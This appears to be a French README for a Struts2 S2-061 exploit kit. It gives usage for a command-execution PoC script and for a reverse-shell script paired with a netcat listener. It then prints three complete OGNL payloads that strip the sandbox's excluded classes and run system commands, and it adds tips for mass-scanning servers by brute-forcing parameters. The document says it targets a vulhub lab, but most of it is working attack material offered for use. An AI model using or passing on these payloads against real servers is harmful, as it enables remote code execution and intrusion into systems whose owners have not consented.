
Payload de S2-061, ainsi que le PoC/Exp simple correspondant
S2-061
Les scripts sont tous basés sur l'environnement de test des vulnérabilités struts2-059/061 de vulhub, ils ne sont pas universels, les experts voudront bien m'éclairer de leurs lumières.
struts2-061-poc.py (peut exécuter des commandes système simples)
Utilisation : python struts2-061-poc.py http://ip:port command
Exemple : python struts2-061-poc.py http://192.168.0.7:8080 whoami
S2-061-shell.py (peut ouvrir un shell inverse)
Utilisation :
Commencez par écouter un port spécifique sur une machine A (par exemple : nc -lvvp 7777)
Exécutez le script : python2 S2-061-shell.py target_url, où target_url est l'adresse de l'environnement vulnérable, sous la forme http://ip:port
Suivez les invites du script pour saisir l'IP de la machine A et le port en écoute, et vous obtiendrez un shell dans la fenêtre d'écoute de la machine A.
Voici quelques payloads créés par des experts :
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
Article d'analyse complet : https://mp.weixin.qq.com/s?__biz=Mzg2NjQ2NzU3Ng==&mid=2247485921&idx=1&sn=096e61db21281c6392c6b7d8c70fe458
%{(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) + (#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))}
%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))}
Remarque : veuillez encoder les codes OGNL ci-dessus au format URL avant de les utiliser dans l'outil.
Dans les nouvelles versions de Struts2, il n'est plus possible d'analyser les expressions OGNL par la construction de paramètres. Par conséquent, si vous envisagez d'utiliser un script pour scanner en masse la présence de cette vulnérabilité, vous pouvez directement brute-forcer tous les paramètres, puis vérifier si la page contient le texte de résultat attendu.
p. ex. :
%{ 'gcowsec-' + (2000 + 20).toString()}
Le résultat attendu est :
gcowsec-2020
Il suffit d'utiliser un script pour vérifier si le résultat contient cette valeur.